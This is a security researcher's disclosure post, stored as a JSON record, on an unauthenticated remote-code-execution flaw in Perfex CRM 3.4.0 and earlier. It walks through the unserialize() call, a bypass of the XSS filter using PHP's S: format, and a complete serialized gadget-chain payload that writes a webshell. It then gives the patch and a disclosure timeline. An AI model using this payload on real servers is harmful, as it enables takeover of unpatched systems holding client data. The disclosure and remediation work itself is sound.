{"title":"Perfex CRM \u003c=3.4.0 allows unauthenticated RCE via insecure deserialization","url":"https://nullcathedral.com/posts/2026-03-16-perfex-crm-unauthenticated-rce-insecure-deserialization/","created_at":"2026-03-16T00:00:00Z","updated_at":"2026-03-16T00:00:00Z","description":"Perfex CRM passed the autologin cookie into unserialize() without validation, giving unauthenticated attackers remote code execution.","word_count":1783,"reading_time":9,"tags":["vulnerability","perfex-crm","deserialization","rce","php"],"content_text":"TL;DR: Perfex CRM fed the autologin cookie straight into unserialize(). CodeIgniter’s XSS filter stripped the null bytes that private PHP properties need, but PHP’s S: format got around that. Unauthenticated cookie to shell via GuzzleHttp’s FileCookieJar.\nVulnerability information# Field Value Vendor MSTdev Product Perfex CRM Affected versions \u003c= 3.4.0 CVE Requested CVSS 4.0 10.0 / Critical CWE CWE-502: Deserialization of Untrusted Data Disclosure date 2026-03-16 Background# Last December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for “super verified secure scripts”, so I started browsing for interesting apps to poke at. I sorted by sales1 and landed on Perfex CRM as my first pick.\nPerfex CRM is a PHP CRM. It’s built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.\nThe vulnerable call# On the demo instance, the autologin cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, Authentication_model.php passes it straight into a bare unserialize(). Textbook object injection.\nThe base controller loads the authentication model on every request:\ncore/App_Controller.php\n$this-\u003eload-\u003emodel('authentication_model'); $this-\u003eauthentication_model-\u003eautologin(); The model’s constructor calls it again:\nmodels/Authentication_model.php\npublic function __construct() { parent::__construct(); $this-\u003eload-\u003emodel('user_autologin'); $this-\u003eautologin(); } The autologin() method:\nmodels/Authentication_model.php\npublic function autologin() { if (!is_logged_in()) { $this-\u003eload-\u003ehelper('cookie'); if ($cookie = get_cookie('autologin', true)) { $data = unserialize($cookie); if (isset($data['key']) and isset($data['user_id'])) { The cookie hits unserialize() on every request, every route, with no validation.\nThe XSS filter problem# My first payload didn’t work. Perfex calls get_cookie('autologin', true), and that second parameter turns on CodeIgniter’s XSS filtering:\nsystem/helpers/cookie_helper.php\nfunction get_cookie($index, $xss_clean = NULL) { is_bool($xss_clean) OR $xss_clean = (config_item('global_xss_filtering') === TRUE); $prefix = isset($_COOKIE[$index]) ? '' : config_item('cookie_prefix'); return get_instance()-\u003einput-\u003ecookie($prefix.$index, $xss_clean); } CodeIgniter’s input processing calls remove_invisible_characters(), which strips null bytes:\nsystem/core/Common.php\n$non_displayables[] = '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S'; Private properties in PHP serialization use \\x00ClassName\\x00property as the key. The null bytes are structural. Strip them and the payload breaks:\ns:17:\"\\x00ClassName\\x00prop\" -\u003e after filter -\u003e s:17:\"ClassNameprop\" ^^^^ ^^^^ (broken, length mismatch) That could have been the end of it. But the filter strips bytes from the cookie value, and unserialize() is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn’t use literal null bytes in the wire format, the filter would have nothing to strip.\nThe S: format bypass# I cloned php-src2 and started reading var_unserializer.re, the lexer that drives unserialize(). The lowercase s: tag reads string bytes verbatim. A few lines down, an uppercase S: variant resolves \\xx hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.\next/standard/var_unserializer.re\nif (**p != '\\\\') { ZSTR_VAL(str)[i] = (char)**p; } else { unsigned char ch = 0; for (j = 0; j \u003c 2; j++) { (*p)++; if (**p \u003e= '0' \u0026\u0026 **p \u003c= '9') { ch = (ch \u003c\u003c 4) + (**p -'0'); } else if (**p \u003e= 'a' \u0026\u0026 **p \u003c= 'f') { ch = (ch \u003c\u003c 4) + (**p -'a'+10); } else if (**p \u003e= 'A' \u0026\u0026 **p \u003c= 'F') { ch = (ch \u003c\u003c 4) + (**p -'A'+10); } else { zend_string_efree(str); return NULL; } } ZSTR_VAL(str)[i] = (char)ch; } S:3:\"\\00A\\00\" is entirely printable ASCII. It passes through the XSS filter untouched, and unserialize() resolves the hex escapes back into null bytes.\nThe S: tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6’s Unicode strings where not all byte sequences are valid. The uppercase S: tag was added to PHP 5 in 2006 so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the S: tag, and no tests covered it. It was only deprecated in PHP 8.4 (the RFC passed 36-0), so it sat in the unserializer for 18 years.3\nMore obstacles# With the null byte problem solved, building the full payload hit three more issues.\nPrivate properties include the full namespace, so the FileCookieJar cookies property serializes as \\x00GuzzleHttp\\Cookie\\CookieJar\\x00cookies. In S: format, \\Co fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. C is valid hex but o is not. Using \\5c for literal backslashes gets around this.\nS:36:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\" Next, CodeIgniter’s xss_clean() replaces PHP open/close tags:\nsystem/core/Security.php\n$str = str_replace(array('\u003c?', '?'.'\u003e'), array('\u0026lt;?', '?\u0026gt;'), $str); The shell payload contains \u003c? which gets mangled. Hex-encoding the tags in the S: string avoids this. \\3c\\3f becomes \u003c?, \\60 becomes the backtick, \\3f\\3e becomes ?\u003e. All resolved after filtering.\nS:15:\"\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\" Finally, after deserialization the app does isset($data['key']). If $data is a FileCookieJar object instead of an array, PHP 8 throws a TypeError and returns HTTP 500. Wrapping the gadget in an array with valid key and user_id fields avoids this. The nested FileCookieJar.__destruct() still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.\nThe gadget chain# Perfex CRM bundles GuzzleHttp, which includes FileCookieJar:\nclass FileCookieJar extends CookieJar { private $filename; private $storeSessionCookies; public function __destruct() { $this-\u003esave($this-\u003efilename); } public function save(string $filename): void { $json = []; foreach ($this as $cookie) { if (CookieJar::shouldPersist($cookie, $this-\u003estoreSessionCookies)) { $json[] = $cookie-\u003etoArray(); } } if (false === \\file_put_contents($filename, Utils::jsonEncode($json), \\LOCK_EX)) { throw new \\RuntimeException(\"Unable to save file {$filename}\"); } } } When the object destructs, it calls file_put_contents() with a path and content we control. The shouldPersist() check requires either Expires to be set or storeSessionCookies to be true, and Discard to be false. The PoC sets all three to pass the gate. The “Name” field of a SetCookie object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.\nThe written file looks like:\n[{\"Name\":\"\u003c?=`$_GET[0]`?\u003e\",\"Value\":\"x\",\"Domain\":\"localhost\",...}] PHP ignores the JSON around it. It only cares about the \u003c?= tag.\nProof of concept# a:3:{ \u003c- array wrapper (to avoid TypeError) s:3:\"key\";s:1:\"x\"; \u003c- satisfies isset($data['key']) s:7:\"user_id\";s:1:\"1\"; \u003c- satisfies isset($data['user_id']) s:3:\"jar\"; O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{ S:36:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\"; ^^^ ^^^ ^^^ ^^^ null byte backslash null byte a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{ S:33:\"\\00GuzzleHttp\\5cCookie\\5cSetCookie\\00data\"; a:9:{ s:4:\"Name\"; S:15:\"\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\"; ^^^^ ^^^^ ^^^^ \u003c? ` ?\u003e s:5:\"Value\";s:1:\"x\"; s:6:\"Domain\";s:9:\"localhost\"; s:4:\"Path\";s:1:\"/\"; s:7:\"Max-Age\";N; s:7:\"Expires\";i:9999999999; s:6:\"Secure\";b:0; s:7:\"Discard\";b:0; s:8:\"HttpOnly\";b:0; } }} S:39:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00strictMode\";b:0; S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\"; s:31:\"filename.php\"; S:52:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00storeSessionCookies\"; b:1; } } Impact# Unauthenticated RCE as the web server user.\nThere is evidence suggesting active exploitation in the wild. See disclosure process notes.\nRemediation# v3.4.1 replaces serialize()/unserialize() with json_encode()/json_decode(). JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.\nThe patched autologin():\npublic function autologin() { if (! is_logged_in()) { $this-\u003eload-\u003ehelper('cookie'); if ($cookie = get_cookie('autologin', true)) { $data = json_decode($cookie, true); if (! is_array($data)) { delete_cookie('autologin', 'aal'); return false; } if (isset($data['key']) and isset($data['user_id'])) { if (! is_numeric($data['user_id']) || ! is_string($data['key'])) { delete_cookie('autologin', 'aal'); return false; } if (! is_null($user = $this-\u003euser_autologin-\u003eget( $data['user_id'], hash('sha256', $data['key']) ))) { // ...login proceeds The patched create_autologin():\nprivate function create_autologin($user_id, $staff) { $this-\u003eload-\u003ehelper('cookie'); $key = bin2hex(random_bytes(32)); $this-\u003euser_autologin-\u003edelete($user_id, $key, $staff); if ($this-\u003euser_autologin-\u003eset($user_id, hash('sha256', $key), $staff)) { set_cookie([ 'name' =\u003e 'autologin', 'value' =\u003e json_encode([ 'user_id' =\u003e $user_id, 'key' =\u003e $key, ]), 'expire' =\u003e 60 * 60 * 24 * 31 * 2, ]); return true; } return false; } The fix also adds type validation (is_array(), is_numeric(), is_string()) on the decoded cookie data before use, and the autologin token is now bin2hex(random_bytes(32)) stored as hash('sha256', $key).\ntl;dr Update to 3.4.1.\nDisclosure process notes# I reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.4 Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.\nWhile this was ongoing, a Perfex CRM user publicly reported finding two backdoors on their server: a webshell decrypting and executing attacker requests via eval(), and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.\nI considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don’t have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don’t have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.\nIf you’re a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.\nFeedback on how this was handled is welcome: get in touch.\nTimeline# Vendor timeline# Date Event 2026-01-05 Reported to vendor and asked for a security contact. 2026-01-08 Shared technical details with vendor. 2026-01-14 Requested update and remediation timeline. 2026-01-28 Requested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02. 2026-02-07 Shared active exploitation concern with vendor (CodeCanyon comment). 2026-02-08 Forwarded disclosure email to another address affiliated with the project. 2026-02-13 Requested update and remediation timeline. 2026-02-13 Forwarded disclosure email to another address affiliated with the project. 2026-02-17 Posted a public comment on CodeCanyon requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not. 2026-02-18 Vendor replied and shared first patch. 2026-02-18 Sent patch feedback to vendor. 2026-02-18 Vendor shared second patch. 2026-02-18 Confirmed second patch looked ok. 2026-03-07 Requested update and remediation timeline. 2026-03-09 Vendor responded that release work was in progress. 2026-03-09 Followed up and re-raised exploitation concern. 2026-03-13 Patch released (v3.4.1 security maintenance release). 2026-03-16 This post. Envato timeline# Date Event 2026-02-02 Reached out to Envato. 2026-02-03 Envato responded and requested PoC. 2026-02-03 Shared PoC with Envato. 2026-02-04 Shared exploitation concern with Envato (CodeCanyon comment). 2026-02-13 Requested update and remediation timeline. 2026-02-18 Envato acknowledged a report backlog and delay in handling.5 2026-02-18 Envato said the author had been chased. 2026-03-12 Requested Envato contact the vendor again. 35,000+ sales on CodeCanyon at the time of writing. ↩︎\nGoogling would have been faster, but reading the lexer was more fun! ↩︎\nThe S: format was unknown to me at the time of discovery. I’ve since found that phpggc has supported it since November 2018 via its -a flag, and that most documentation of the technique is in Chinese security blogs (e.g. WGPSEC, Lazzaro, lanyi). ↩︎\nAround the same time, another user on CodeCanyon reported a security concern and was told to renew their support license before the vendor would engage. ↩︎\n“We’ve had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we’re improving the way we deal with them, we sometimes get a little behind - I know that’s not great in cases like this where speed is of the essence.” ↩︎\n","content_markdown":"\n**TL;DR:** Perfex CRM fed the `autologin` cookie straight into `unserialize()`. CodeIgniter's XSS filter stripped the null bytes that private PHP properties need, but PHP's `S:` format got around that. Unauthenticated cookie to shell via GuzzleHttp's `FileCookieJar`.\n\n## Vulnerability information\n\n| Field | Value |\n|-------|-------|\n| **Vendor** | MSTdev |\n| **Product** | Perfex CRM |\n| **Affected versions** | \u003c= 3.4.0 |\n| **CVE** | Requested |\n| **CVSS 4.0** | [10.0 / Critical](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) |\n| **CWE** | CWE-502: Deserialization of Untrusted Data |\n| **Disclosure date** | 2026-03-16 |\n\n## Background\n\nLast December I was bored and remembered that CodeCanyon still existed. The S in CodeCanyon obviously stands for \"super verified secure scripts\", so I started browsing for interesting apps to poke at. I [sorted by sales](https://codecanyon.net/category/php-scripts?sort=sales)[^codecanyon] and landed on Perfex CRM as my first pick.\n\nPerfex CRM is a PHP CRM. It's built on CodeIgniter and handles clients, invoices, projects, support tickets, etc.\n\n## The vulnerable call\n\nOn the demo instance, the `autologin` cookie looked like serialized PHP data. So I grabbed a copy of the source and sure enough, `Authentication_model.php` passes it straight into a bare `unserialize()`. Textbook object injection.\n\nThe base controller loads the authentication model on every request:\n\n`core/App_Controller.php`\n\n```php\n$this-\u003eload-\u003emodel('authentication_model');\n$this-\u003eauthentication_model-\u003eautologin();\n```\n\nThe model's constructor calls it again:\n\n`models/Authentication_model.php`\n```php\npublic function __construct()\n{\n    parent::__construct();\n    $this-\u003eload-\u003emodel('user_autologin');\n    $this-\u003eautologin();\n}\n```\n\nThe `autologin()` method:\n\n`models/Authentication_model.php`\n```php\npublic function autologin()\n{\n    if (!is_logged_in()) {\n        $this-\u003eload-\u003ehelper('cookie');\n        if ($cookie = get_cookie('autologin', true)) {\n            $data = unserialize($cookie);\n            if (isset($data['key']) and isset($data['user_id'])) {\n```\n\nThe cookie hits `unserialize()` on every request, every route, with no validation.\n\n## The XSS filter problem\n\nMy first payload didn't work. Perfex calls `get_cookie('autologin', true)`, and that second parameter turns on CodeIgniter's XSS filtering:\n\n[`system/helpers/cookie_helper.php`](https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/helpers/cookie_helper.php#L89-L94)\n```php\nfunction get_cookie($index, $xss_clean = NULL)\n{\n    is_bool($xss_clean) OR $xss_clean = (config_item('global_xss_filtering') === TRUE);\n    $prefix = isset($_COOKIE[$index]) ? '' : config_item('cookie_prefix');\n    return get_instance()-\u003einput-\u003ecookie($prefix.$index, $xss_clean);\n}\n```\n\nCodeIgniter's input processing calls `remove_invisible_characters()`, which strips null bytes:\n\n[`system/core/Common.php`](https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Common.php#L722)\n\n```php\n$non_displayables[] = '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S';\n```\n\nPrivate properties in PHP serialization use `\\x00ClassName\\x00property` as the key. The null bytes are structural. Strip them and the payload breaks:\n\n```\ns:17:\"\\x00ClassName\\x00prop\"  -\u003e  after filter  -\u003e  s:17:\"ClassNameprop\"\n      ^^^^          ^^^^                            (broken, length mismatch)\n```\n\nThat could have been the end of it. But the filter strips bytes from the cookie value, and `unserialize()` is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn't use literal null bytes in the wire format, the filter would have nothing to strip.\n\n## The `S:` format bypass\n\nI cloned php-src[^google] and started reading [`var_unserializer.re`](https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re), the lexer that drives `unserialize()`. The lowercase `s:` tag reads string bytes verbatim. A few lines down, an uppercase `S:` variant resolves `\\xx` hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.\n\n[`ext/standard/var_unserializer.re`](https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re#L334-L353)\n```c\nif (**p != '\\\\') {\n    ZSTR_VAL(str)[i] = (char)**p;\n} else {\n    unsigned char ch = 0;\n\n    for (j = 0; j \u003c 2; j++) {\n        (*p)++;\n        if (**p \u003e= '0' \u0026\u0026 **p \u003c= '9') {\n            ch = (ch \u003c\u003c 4) + (**p -'0');\n        } else if (**p \u003e= 'a' \u0026\u0026 **p \u003c= 'f') {\n            ch = (ch \u003c\u003c 4) + (**p -'a'+10);\n        } else if (**p \u003e= 'A' \u0026\u0026 **p \u003c= 'F') {\n            ch = (ch \u003c\u003c 4) + (**p -'A'+10);\n        } else {\n            zend_string_efree(str);\n            return NULL;\n        }\n    }\n    ZSTR_VAL(str)[i] = (char)ch;\n}\n```\n\n`S:3:\"\\00A\\00\"` is entirely printable ASCII. It passes through the XSS filter untouched, and `unserialize()` resolves the hex escapes back into null bytes.\n\nThe `S:` tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6's Unicode strings where not all byte sequences are valid. The uppercase `S:` tag was [added to PHP 5 in 2006](https://github.com/php/php-src/commit/7ccba6624df074051f24efabd5d88d9c0d2a8ec0) so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the `S:` tag, and no tests covered it. It was only [deprecated in PHP 8.4](https://github.com/php/php-src/commit/ecd11b968713025bba6fc145a0765f85f48a8a00) ([the RFC passed 36-0](https://wiki.php.net/rfc/deprecations_php_8_4)), so it sat in the unserializer for 18 years.[^s-format]\n\n## More obstacles\n\nWith the null byte problem solved, building the full payload hit three more issues.\n\nPrivate properties include the full namespace, so the `FileCookieJar` cookies property serializes as `\\x00GuzzleHttp\\Cookie\\CookieJar\\x00cookies`. In `S:` format, `\\Co` fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. `C` is valid hex but `o` is not. Using `\\5c` for literal backslashes gets around this.\n\n```\nS:36:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\"\n```\n\nNext, CodeIgniter's `xss_clean()` replaces PHP open/close tags:\n\n[`system/core/Security.php`](https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Security.php#L460)\n```php\n$str = str_replace(array('\u003c?', '?'.'\u003e'), array('\u0026lt;?', '?\u0026gt;'), $str);\n```\n\nThe shell payload contains `\u003c?` which gets mangled. Hex-encoding the tags in the `S:` string avoids this. `\\3c\\3f` becomes `\u003c?`, `\\60` becomes the backtick, `\\3f\\3e` becomes `?\u003e`. All resolved after filtering.\n\n```\nS:15:\"\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\"\n```\n\nFinally, after deserialization the app does `isset($data['key'])`. If `$data` is a `FileCookieJar` object instead of an array, PHP 8 throws a `TypeError` and returns HTTP 500. Wrapping the gadget in an array with valid `key` and `user_id` fields avoids this. The nested `FileCookieJar.__destruct()` still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.\n\n## The gadget chain\n\nPerfex CRM bundles GuzzleHttp, which includes `FileCookieJar`:\n\n```php\nclass FileCookieJar extends CookieJar\n{\n    private $filename;\n    private $storeSessionCookies;\n\n    public function __destruct()\n    {\n        $this-\u003esave($this-\u003efilename);\n    }\n\n    public function save(string $filename): void\n    {\n        $json = [];\n        foreach ($this as $cookie) {\n            if (CookieJar::shouldPersist($cookie, $this-\u003estoreSessionCookies)) {\n                $json[] = $cookie-\u003etoArray();\n            }\n        }\n        if (false === \\file_put_contents($filename, Utils::jsonEncode($json), \\LOCK_EX)) {\n            throw new \\RuntimeException(\"Unable to save file {$filename}\");\n        }\n    }\n}\n```\n\nWhen the object destructs, it calls `file_put_contents()` with a path and content we control. The `shouldPersist()` check requires either `Expires` to be set or `storeSessionCookies` to be true, and `Discard` to be false. The PoC sets all three to pass the gate. The \"Name\" field of a `SetCookie` object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.\n\nThe written file looks like:\n\n```json\n[{\"Name\":\"\u003c?=`$_GET[0]`?\u003e\",\"Value\":\"x\",\"Domain\":\"localhost\",...}]\n```\n\nPHP ignores the JSON around it. It only cares about the `\u003c?=` tag.\n\n## Proof of concept\n\n```\na:3:{                             \u003c- array wrapper (to avoid TypeError)\n  s:3:\"key\";s:1:\"x\";              \u003c- satisfies isset($data['key'])\n  s:7:\"user_id\";s:1:\"1\";          \u003c- satisfies isset($data['user_id'])\n  s:3:\"jar\";\n  O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{\n    S:36:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\";\n           ^^^          ^^^     ^^^          ^^^\n         null byte   backslash            null byte\n\n    a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{\n      S:33:\"\\00GuzzleHttp\\5cCookie\\5cSetCookie\\00data\";\n      a:9:{\n        s:4:\"Name\";\n        S:15:\"\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\";\n              ^^^^     ^^^^      ^^^^\n               \u003c?       `        ?\u003e\n        s:5:\"Value\";s:1:\"x\";\n        s:6:\"Domain\";s:9:\"localhost\";\n        s:4:\"Path\";s:1:\"/\";\n        s:7:\"Max-Age\";N;\n        s:7:\"Expires\";i:9999999999;\n        s:6:\"Secure\";b:0;\n        s:7:\"Discard\";b:0;\n        s:8:\"HttpOnly\";b:0;\n      }\n    }}\n    S:39:\"\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00strictMode\";b:0;\n    S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";\n    s:31:\"filename.php\";\n    S:52:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00storeSessionCookies\";\n    b:1;\n  }\n}\n```\n\n## Impact\n\nUnauthenticated RCE as the web server user.\n\nThere is evidence suggesting active exploitation in the wild. See [disclosure process notes](#disclosure-process-notes).\n\n## Remediation\n\nv3.4.1 replaces `serialize()`/`unserialize()` with `json_encode()`/`json_decode()`. JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.\n\nThe patched `autologin()`:\n\n```php\npublic function autologin()\n{\n    if (! is_logged_in()) {\n        $this-\u003eload-\u003ehelper('cookie');\n        if ($cookie = get_cookie('autologin', true)) {\n            $data = json_decode($cookie, true);\n\n            if (! is_array($data)) {\n                delete_cookie('autologin', 'aal');\n                return false;\n            }\n\n            if (isset($data['key']) and isset($data['user_id'])) {\n                if (! is_numeric($data['user_id']) || ! is_string($data['key'])) {\n                    delete_cookie('autologin', 'aal');\n                    return false;\n                }\n\n                if (! is_null($user = $this-\u003euser_autologin-\u003eget(\n                    $data['user_id'], hash('sha256', $data['key'])\n                ))) {\n                    // ...login proceeds\n```\n\nThe patched `create_autologin()`:\n\n```php\nprivate function create_autologin($user_id, $staff)\n{\n    $this-\u003eload-\u003ehelper('cookie');\n    $key = bin2hex(random_bytes(32));\n    $this-\u003euser_autologin-\u003edelete($user_id, $key, $staff);\n\n    if ($this-\u003euser_autologin-\u003eset($user_id, hash('sha256', $key), $staff)) {\n        set_cookie([\n            'name'  =\u003e 'autologin',\n            'value' =\u003e json_encode([\n                'user_id' =\u003e $user_id,\n                'key'     =\u003e $key,\n            ]),\n            'expire' =\u003e 60 * 60 * 24 * 31 * 2,\n        ]);\n        return true;\n    }\n    return false;\n}\n```\n\nThe fix also adds type validation (`is_array()`, `is_numeric()`, `is_string()`) on the decoded cookie data before use, and the autologin token is now `bin2hex(random_bytes(32))` stored as `hash('sha256', $key)`.\n\ntl;dr Update to 3.4.1.\n\n## Disclosure process notes\n\nI reported this on 2026-01-05, shared technical details on 2026-01-08. After that it was hard to get responses, even after I escalated to Envato.[^support-renewal] Disclosure-to-patch was 67 days, within our 120-day window. 44 of those days were silence.\n\nWhile this was ongoing, a Perfex CRM user [publicly reported](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026filter=all#comment_31909364) finding two backdoors on their server: a webshell decrypting and executing attacker requests via `eval()`, and a script using cookie-delivered PHP to write files to arbitrary paths. The second one matches this gadget chain. I shared this with both the vendor and Envato.\n\nI considered publishing earlier. Perfex CRM stores client records, invoices, contracts, and personal data. Its users are small businesses that bought a PHP script on CodeCanyon. They don't have WAFs or incident response plans. A manual fix exists but requires PHP knowledge most of them probably don't have, and publishing a mitigation would point attackers straight to the vulnerable code. I judged it would cause more harm than it prevented.\n\nIf you're a Perfex CRM user, assume compromise. Start from a clean install and rotate all secrets and passwords in Perfex.\n\nFeedback on how this was handled is welcome: [get in touch](/contact).\n\n## Timeline\n\n### Vendor timeline\n\n| Date | Event |\n|------|-------|\n| 2026-01-05 | Reported to vendor and asked for a security contact. |\n| 2026-01-08 | Shared technical details with vendor. |\n| 2026-01-14 | Requested update and remediation timeline. |\n| 2026-01-28 | Requested update and remediation timeline, explained I will escalate the findings to Envato on 2026-02-02. |\n| 2026-02-07 | Shared active exploitation concern with vendor ([CodeCanyon comment](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026filter=all#comment_31909364)). |\n| 2026-02-08 | Forwarded disclosure email to another address affiliated with the project. |\n| 2026-02-13 | Requested update and remediation timeline. |\n| 2026-02-13 | Forwarded disclosure email to another address affiliated with the project. |\n| 2026-02-17 | Posted a [public comment on CodeCanyon](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=1\u0026filter=all#comment_31924153) requesting a response. Another developer replied claiming the security concerns had already been addressed. They had not. |\n| 2026-02-18 | Vendor replied and shared first patch. |\n| 2026-02-18 | Sent patch feedback to vendor. |\n| 2026-02-18 | Vendor shared second patch. |\n| 2026-02-18 | Confirmed second patch looked ok. |\n| 2026-03-07 | Requested update and remediation timeline. |\n| 2026-03-09 | Vendor responded that release work was in progress. |\n| 2026-03-09 | Followed up and re-raised exploitation concern. |\n| 2026-03-13 | Patch released ([v3.4.1 security maintenance release](https://help.perfexcrm.com/version-3-4-1-security-maintenance-release/)).\n| 2026-03-16 | This post. |\n\n### Envato timeline\n\n| Date | Event |\n|------|-------|\n| 2026-02-02 | Reached out to Envato. |\n| 2026-02-03 | Envato responded and requested PoC. |\n| 2026-02-03 | Shared PoC with Envato. |\n| 2026-02-04 | Shared exploitation concern with Envato ([CodeCanyon comment](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026filter=all#comment_31909364)). |\n| 2026-02-13 | Requested update and remediation timeline. |\n| 2026-02-18 | Envato acknowledged a report backlog and delay in handling.[^envato-backlog] |\n| 2026-02-18 | Envato said the author had been chased. |\n| 2026-03-12 | Requested Envato contact the vendor again. |\n\n[^google]: Googling would have been faster, but reading the lexer was more fun!\n[^codecanyon]: 35,000+ sales on CodeCanyon at the time of writing.\n[^s-format]: The `S:` format was unknown to me at the time of discovery. I've since found that phpggc has supported it since [November 2018](https://github.com/ambionics/phpggc/commit/970ee4a86d206b637f6bec511a4f5b7a2d118889) via its `-a` flag, and that most documentation of the technique is in Chinese security blogs (e.g. [WGPSEC](https://wiki.wgpsec.org/knowledge/ctf/php-serialize.html), [Lazzaro](https://lazzzaro.github.io/2020/05/15/web-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/index.html), [lanyi](https://medium.com/@lyltvip/php-deserialization-escape-970cd8ea714e)).\n[^support-renewal]: Around the same time, [another user on CodeCanyon](https://codecanyon.net/item/perfex-powerful-open-source-crm/14013737/comments?page=2\u0026filter=all#comment_31919413) reported a security concern and was told to renew their support license before the vendor would engage.\n[^envato-backlog]: \"We've had a 7000% (yes seven thousand) increase in vulnerability reports over the last 2 years and while we're improving the way we deal with them, we sometimes get a little behind - I know that's not great in cases like this where speed is of the essence.\"\n","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Perfex CRM fed the \u003ccode\u003eautologin\u003c/code\u003e cookie straight into \u003ccode\u003eunserialize()\u003c/code\u003e. CodeIgniter\u0026rsquo;s XSS filter stripped the null bytes that private PHP properties need, but PHP\u0026rsquo;s \u003ccode\u003eS:\u003c/code\u003e format got around that. Unauthenticated cookie to shell via GuzzleHttp\u0026rsquo;s \u003ccode\u003eFileCookieJar\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eMSTdev\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePerfex CRM\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt;= 3.4.0\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRequested\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          